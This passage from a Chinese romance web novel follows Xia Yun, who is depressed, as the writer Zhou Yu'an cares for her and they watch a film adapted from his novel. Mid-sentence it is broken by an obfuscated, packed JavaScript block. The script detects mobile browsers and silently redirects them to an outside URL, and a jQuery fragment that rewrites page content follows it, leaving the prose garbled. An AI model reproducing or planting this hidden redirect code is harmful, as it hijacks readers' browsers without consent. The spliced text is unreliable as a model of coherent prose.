他郑重的话语在寂静的空气里落下，清晰得不容错辨。
夏昀微微一怔，第一反应却是下意识地从他温热的掌心里抽回了自己的手。
退缩，是她此刻最本能的反应。
她连自己都活得如此狼狈不堪，一团乱麻，又怎么可能有资格、有能力去承担起他人生的意义这样沉重的托付？
这太荒谬了。
“不行……我……”
她无措地摇头，声音破碎，带着自我否定的颤音，“我做不到……”
仿佛早已看穿她内心翻涌的顾虑和沉重的负担感，周予安并没有强求，只是用更轻、更缓的声音解释道：“我说想成为你人生的意义，并没有你想象的那么沉重。”
他试图将那个看似宏大的概念，拆解成具体而微小的、可以触碰的日常：“我不用你为我活成什么伟大、优秀的样子，你甚至什么都不用特意为我改变。你只需要……为我做一件事就好。”
“……什么事？”夏昀抬起泪眼，带着一丝困惑和不易察觉的期待。
周予安没有立刻回答，而是先深深地吸了一口气，再缓缓地、均匀地吐出来，仿佛在给她做一个最基础的示范。
“呼吸。”他看着她的眼睛，认真地说，“你只需要，像这样，让自己能够正常地、稳定地呼吸，就好。”
“喝水，吃饭，吃药，进行这些最基础的活动……维持住你的呼吸。然后，让我留在你旁边，能够听到你的呼吸声。”
他的目光温柔而坚定，“就这样，足够了。”
夏昀怔住了，眼神里充满了怀疑：“就这样……也算是有意义的事吗？”
“当然算。”
周予安重新握住她冰凉的手，用自己的脸颊轻轻蹭了蹭她微湿的掌心，像一只寻求安慰和给予安慰的大型犬，动作间充满了依赖与抚慰，“对我来说，这就是世界上，最重要、最有意义的事。”
夏昀沉默着，没有再立刻抽回手，但也没有答应。
她低垂着眼，长长的睫毛掩盖了所有情绪，仿佛仍在消化这个过于简单的“意义”，仍在怀疑自己是否连这样微小的承诺都无力承担。
周予安没有催促她。他松开手，站起身，跺了跺因为长时间蹲着而发麻的脚，语气轻松地转移了话题：“你慢慢考虑，不着急。我先去把碗洗了。”
他刚要伸手去端桌上的面碗，衣袖却被人从旁边轻轻地、小心翼翼地拽住了。
他低头，看见夏昀已经站了起来，声音很低，却带着一丝不容置疑的坚持：“……我去洗吧。”
她看向他贴着创可贴的手指：“你的手受伤了，不能沾水。”
说完，她端起桌上的碗筷，转身走向厨房。背影依旧单薄，却似乎有了一点点支撑起来的力量。
周予安看着她走向厨房的背影，无声地、大大地弯起了嘴角，眼里闪烁着难以抑制的喜悦光芒。但他马上又活泛起来，冲着厨房方向喊道：“那我来给你加油助威！”
他不仅自己跟了过去，还顺手捞起了在沙发上打盹的开心，不由分说地抱在怀里，一起涌向了并不宽敞的厨房。
突然被挪窝的猫咪极其不满，在他怀里“喵喵”地抗议着，扭动着身体，显然对被打扰清梦以及卷入这种无聊的人类活动表达了严重不满。
无奈抱着它的人类根本听不懂猫语，反而举着它，在正站在水槽前洗碗的夏昀身边开始了声势浩大的“助威”：
“夏昀加油！夏昀最棒！夏昀夏昀，无敌好运！夏昀夏昀——！”
魔音贯耳，连绵不绝。
“好吵。”
正在冲洗碗筷的夏昀终于忍无可忍，头也不回地出声制止。
周予安立刻低头，对着怀里的猫咪一本正经地“翻译”：“开心，听到没？你妈说你吵呢。”
“喵~！”开心抗议地叫了一声，尾巴不耐烦地甩动。
夏昀关掉水龙头，甩了甩手上的水珠，面无表情地帮猫咪澄清：“我是在说你。”
周予安立刻夸张地把嘴一撇，做出一个委屈的表情，但眼里的笑意却藏不住：“好吧好吧，你们俩统一战线了是吧？”
他从善如流地降低了音量，把呐喊变成了近乎气声的、偷偷摸摸的嘟囔，但内容依旧是他那套老土又执着的口号：
“夏昀加油……夏昀最棒……”
细微的声音像温暖的背景音，萦绕在小小的厨房里。
-
又一次，夏昀从噩梦中惊醒。
沉重的黑暗像湿透的棉被压在她的眼皮和胸口，她艰难地喘息着，心脏在胸腔里狂跳，过了好一阵才慢慢平复。
她转过身，伸手在床头柜上摸索，冰凉的手机屏幕亮起，时间和光亮一起刺入尚未适应光线的眼睛。
凌晨四点。
自从开始服药，每个夜晚都被药物强行拖入昏沉的睡眠，然后在一个接一个光怪陆离、充满压抑的梦境碎片里挣扎。
每次醒来，都需要莫大的努力将自己拉回现实；而每一次重新尝试入睡，则需要更大的勇气，去面对可能再次降临的梦魇。
她长长地叹了一口气，喉咙干得发紧，身体本能地渴望着水分的滋润，但四肢却沉重得不想动弹。
生病之后，每一件曾经微不足道的小事，都变得无比繁琐。仅仅是离开温暖被窝这个念头，都让她感觉像是在攀登一座陡峭冰冷的高山。
——喝水，吃饭，吃药，进行这些最基础的活动……维持住你的呼吸。
周予安的话，适时地在脑海中回响起来，带着一种平静而坚定的力量。
内心挣扎了片刻，夏昀最终还是掀开了被子。冷空气瞬间包裹住她，让她打了个寒颤，但这并没有阻止她下床的动作。她踩上拖鞋，轻手轻脚地离开卧室，走向厨房。
饮水机出水的声音在万籁俱寂的深夜里显得格外清晰。夏昀有些担心地朝客厅沙发方向看了一眼，那个蜷缩着的身影并没有动静，似乎没有被吵醒。
她悄然松了口气。
举起水杯，冰凉的液体滑入口腔，刺激到一颗蛀坏的牙齿，带来一阵尖锐的、电流窜过般的刺痛。但干渴终究得到了缓解。
她轻轻放下杯子，准备悄无声息地回房，却在路过客厅时，脚步不由自主地顿住了。
她的目光落在沙发上睡着的人身上。
沙发对于他一米八几的高个子来说，实在有些委屈。或许是因为翻身，半边被子已经垂落到了地上。
她犹豫了一下，还是走了过去。
借着窗外透进来的稀疏月光，她能看到他沉睡的侧脸。平日里总是带着笑意或狡黠的眼睛紧闭着，长睫毛在眼下投出淡淡的阴影。眉头即使在睡梦中也无意识地微微蹙着，透出一种深沉的疲倦。
他的嘴唇有些干燥，呼吸平稳而悠长，但整个面容却笼罩着一层难以挥散的疲惫感，仿佛连睡眠也无法完全洗去他白日里为她耗费的心力。
夏昀弯下腰，小心翼翼地捡起垂落在地上的那半边被子，动作极轻地替他掖好被角，想将冷空气隔绝在外。
然而，就在她准备直起身离开时，熟睡的人却忽然开口了，声音沙哑，带着浓重的、尚未散尽的睡意：“我还以为……你是来给我晚安吻的。”
夏昀的动作瞬间顿住，有些歉然：“我吵醒你了？”
周予安缓缓睁开眼睛，眼底还氤氲着睡意，他揉了揉眼睛：“听到你倒水的声音。”
“抱歉，”夏昀低声道，“我只是渴了，起来喝点水。”
“这有什么好道歉的。”周予安说着，从沙发上坐起身，很自然地往里面挪了挪，拍了拍身边空出来的位置，“坐会儿吧。是不是又做噩梦了？”
夏昀在他身边坐下，轻轻“嗯”了一声。
“这次梦到什么了？”
他问，声音放得很轻。
“醒来就记不太清了，”夏昀努力回忆着那些破碎的画面，“只记得我一直在跑，好像……后面有什么东西在追我。”
周予安试图用玩笑驱散噩梦的阴影，压低声音笑道：“追你的人不会是我吧？”
夏昀斜睨了他一眼，语气带着刚醒不久的慵懒，却笃定地否认：“我没梦到你。”
周予安被她这认真的反驳逗得低低笑了起来，胸腔发出轻微的震动。
“你去我房里睡吧，”夏昀说，“我在这里坐一会儿就好，反正也睡不着了。”
周予安闻言，却提出了另一个建议：“那……要不要看部电影？”
他起身去打开电视，一边用无所谓的语气说，“我反正也醒了，明天晚点起呗。”
电视屏幕的光亮起，映亮了他的脸庞。他侧头问她：“想看什么？”
夏昀靠在沙发垫子里，想了想，轻声说：“《拥抱》。”
周予安明显愣了一下，随即眼里漾开温柔的笑意：“是那部片子啊……线上应该有了，我搜搜看。”
《拥抱》是一部融合了爱情与悬疑元素的电影。
男主是一名青年画家，在一次深夜的街头邂逅后了一个声称失忆的神秘女人。女人唯一的记忆线索，是寻找一个能让她感到“绝对安全”的拥抱。被其脆弱与独特吸引的男主，将她留在了自己郊外的画室。
爱情在油彩与时光中悄然滋生。城市另一端，一桩尘封的冷案因新的发现而重启调查。所有证据模糊地指向一个消失多年的女性嫌疑人，而她的体貌特征，竟与女主惊人相似……
这部电影改编自夏愿的首部小说，在上映后就收获好评无数，这本小说也由此畅销百万册。
而作家夏愿本人，此刻正盘腿坐在夏昀家沙发的另一头。他的注意力似乎根本没在电影上，反而用手指不停地拨弄着自己额前有些过长的刘海，侧过头对夏昀嘟囔：“你有没有发夹？我头发有点挡眼睛了。”
夏昀正看得入神，懒得动弹，眼睛没离开屏幕，随口应道：“在我卧室化妆台最上面的抽屉里，你自己去找。”
周予安顺从地“哦”了一声，趿拉着拖鞋“啪嗒啪嗒”地跑进卧室，没两分钟又“啪嗒啪嗒”地跑回来，手里拿着一根黑色的一次性小皮筋。
“没找到发夹，”他把皮筋递到夏昀面前，语气带着点理所当然的依赖，“你帮我把前面这点头发扎起来吧，就扎个小揪揪。”
夏昀无奈，只得接过皮筋，伸手薅起他额前柔软的碎发，动作算不上温柔地帮他扎了一个小小的、略显滑稽的苹果头。
绑完，她便一把推开他凑过来的脑袋，自己抱起一个抱枕，缩到沙发的另一角，重新将目光投向电视屏幕。
然而，安静了没几分钟，周予安的声音又响了起来。
“你冷不冷？要不要盖点被子？”他问，视线却还假装停留在电影画面上。
夏昀本不想理他，但深夜的寒意确实渐渐渗入单薄的睡衣。她懒得再回房抱被子，便含糊地“嗯”了一声，身体往他那边稍微挪了挪：“……分我点。”
周予安立刻得令般，大幅度地往她这边靠拢，肩膀紧密地挨着她的肩膀，同时手臂一伸，将被子的一大半轻柔地披盖在她身上。
被子带着他体温的暖意瞬间包裹住两人。夏昀渐渐被电影情节吸引，无意识地贴近身边的热源，跟他肩膀挨着肩膀。
感受着身旁传来的温热和铃兰花般的淡淡发香，周予安忽然冷不丁地开口，语气里带着一丝不易察觉的期待和提醒：“这是我的小说改编的。”
仿佛在强调一个重要的、与她相关的信息。
然而，被提醒的人脸上却没有丝毫惊讶，眼睛依旧盯着屏幕，嘴巴冷漠地回应：“知道。”
“你觉得怎么样？”
周予安偏过头，近距离地看着她的侧脸。屏幕的光在她脸上明明灭灭，肌肤显得近乎透明般的白皙。
那股幽雅的、他最喜欢的铃兰花香，若有若无地萦绕在鼻尖。
没等到她立刻回答，他又忍不住追问：“满分十分能打几分？”
夏昀轻轻“啧”了一声，眉头微蹙，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17025896|194398||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这是她近来难得流露出除悲伤和麻木之外的情绪。
“我还没看完呢。”她的语气里带上了一点被打扰的不耐烦。
“好吧，好吧……”
周予安像只被主人拒绝抚摸的大型犬，瞬间蔫了下去，委屈地撇了撇嘴，但终究是安静了下来，只是目光时不时地从电影屏幕，悄悄飘向身旁专注的侧影。
眼角的余光瞥见他瞬间蔫下去、写满失落的表情，夏昀在心底无声地叹了口气。
“电影的票房和你书的销量，不是已经说明一切了吗？”
她最终还是接过了他的话茬，声音里带着一丝无奈，却也缓和了刚才的不耐烦。
周予安的眼睛立刻亮了起来，像被瞬间点亮的小灯泡，他凑近了些：“那些都是外部的评价，我更想听听你的看法。”
他的语气里带着毫不掩饰的期待。
夏昀抿了抿嘴唇，目光仍停留在屏幕上，有些别扭地、用尽可能平淡的语气开口：“……就，看了个开头，觉得……还不错吧。”
话音刚落，周予安脸上的笑容瞬间绽放。
这一刻的喜悦，比当年编辑突然找到他，说他的小说要被改编成电影时，还要来得更加强烈和真切。
短暂的沉默被电影的背景音填充。过了一会儿，夏昀忽然开口，问出了一个盘桓在她心里许久的问题：
“你……为什么突然改行去写小说了？”
她确实感到好奇。以他的家境和学历，明明有更轻松、更“正统”的道路可走，比如进入他父亲的公司，但他却似乎毫无征兆地抛下了那些，一头扎进了充满不确定性的写作里。
周予安闻言，下意识地抬手挠了挠耳后，眼神有瞬间的飘忽，语气试图装出一种云淡风轻：“因为……喜欢呗。”
夏昀淡淡地瞥了他一眼，终究没有去戳穿这个显而易见的谎言。
他自己或许从未察觉，每当他撒谎或者感到心虚时，总会不自觉地用手指去挠耳后的位置。这个小动作，特别明显。
她第一次发现他这个习惯，是在高中。
那天晚自习，周予安忽然猫着腰溜到她座位旁，用气声神秘兮兮地说让她跟他同桌换个位置，声称有“好东西”要给她看。
夏昀其实很烦躁。
她不想把宝贵的晚自习时间浪费在他那些不着调的“惊喜”上。但周予安磨人的功夫一流，她最终还是妥协了，只答应换一节课。
刚在他旁边的空位坐下，她就强忍着不耐，压低声音问：“到底要给我看什么？”
周予安弓着身体，像个做贼的，小心翼翼地、缓缓拉开自己厚重羽绒服的拉链。拉链滑下的声响里，衣服内侧赫然露出一团毛茸茸的、橘色的小东西，正不安地蠕动着。
“小猫？”夏昀忍不住低声惊呼。
周予安连忙竖起食指抵在唇边，示意她小声点。
她立刻噤声，可怀里的小猫却“喵”地叫出了声。周予安手忙脚乱地用手掌圈住小猫的嘴巴，半强制地让它也安静下来。
“我刚在运动场边上捡的，”他献宝似的低声说，眼睛亮晶晶的，“可爱吗？”
夏昀的心瞬间被那团小东西攫住了。她伸出食指，极轻地摸了摸小猫温热柔软的头顶。“它一定是跟猫妈妈走散了……”
说着，她抬起头，瞪了周予安一眼，带着点责备，“你把人家孩子偷走了。”
周予安当时只是看小猫可怜，没想那么多就揣了回来，被夏昀一说，顿时慌了：“那……那怎么办？我现在送它回去？”
夏昀叹了口气：“它已经沾上你的气味了，猫妈妈很可能不会要它了。”
她看了看怀里瑟瑟发抖的小生命，下了结论，“你养着它吧。”
这正中周予安下怀，他本来就想养，立刻点头如捣蒜，又压低声音，带着点不易察觉的期待对她说：“那你以后想它了，就来我家看它，陪它玩。”
夏昀心里想：我才不想去你家呢。
但嘴上还是敷衍地应了声：“……好。”
几天后的一个课间，夏昀忽然想起这事，顺口问了他一句：“那只小猫怎么样了？”
周予安却下意识地摸了摸耳朵后面，眼神有些闪烁：“应该……过得挺好的吧。”
“应该？”夏昀狐疑地看着他。
周予安更加心虚了，声音低了下去：“其实……那只猫，我送给别人养了。”
“为什么？”夏昀不解，“你不是很喜欢它吗？”
“其实……也没那么喜欢……”周予安的手指又不自觉地挠了挠耳后，找了个借口，“而且，我爸对猫毛过敏，没办法养。”
夏昀的直觉告诉她，周予安在撒谎。
但她没有戳穿。
究竟“没那么喜欢猫”是谎言，还是“爸爸猫毛过敏”是谎言，都已经不重要了。
因为那是周予安自己的事，与她无关。
……
回忆的潮水缓缓退去，眼前的电影正播放到中段，紧张悬疑的氛围逐渐浓厚。
忽然，夏昀的左肩骤然一沉。
她微微偏过头，发现坐在身旁的男人，不知何时已靠在她肩上沉沉睡去，呼吸均匀绵长。
……很难想象，这个人就是这部电影原著小说的亲作者。
他靠得很沉，温热的呼吸一下、一下，规律地拂过她的耳畔和颈侧，带着一种令人安心的节奏感。
一呼，一吸。均匀，绵长。
仿佛在轻轻地告诉她，他就在这里，真实地存在着。
在这一方被夜色笼罩的客厅里，在这部由他创造的故事的光影流转中，他平稳的呼吸声，变成了世界上唯一需要被感知，具有实质意义的锚点。
深长而规律的呼吸声，像一首温柔的白噪音，在她耳边循环播放。
夏昀原本因电影情节而微微紧绷的神经，不知不觉地松弛下来。
她不由得也闭上了眼睛。
这一次，进入梦乡，不再需要鼓足勇气。